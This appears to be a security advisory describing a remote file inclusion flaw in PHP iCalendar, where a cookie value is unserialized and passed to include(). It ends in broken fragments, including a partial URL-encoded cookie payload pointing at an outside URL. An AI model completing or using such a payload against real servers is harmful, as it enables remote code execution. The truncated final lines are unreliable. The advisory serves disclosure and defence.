I. BACKGROUND

PHP iCalendar is a php calendar, more information is available at the
vendor site.

II. DESCRIPTION

PHP iCalendar is vulnerable to Cross Site Scripting cause of a wrong
input validation in index.php and will include an arbitrary file
ending with .php.

The vulnerable code is:

> config.inc.php

$printview_default = 'no';

> index.php

if (isset($_COOKIE['phpicalendar'])) {
$phpicalendar = unserialize(stripslashes($_COOKIE['phpicalendar']));
$default_view = $phpicalendar['cookie_view'];
}

if ($printview_default == 'yes') {
$printview = $default_view;
$default_view = "print.php";
} else {
$default_view = "$default_view".".php";
}

include($default_view);

As you can see there is no input validation at all.

the right serialized array inside.

ie_view%22%3Bs%3A34%3A%22http%3A%2F%2Fwww.
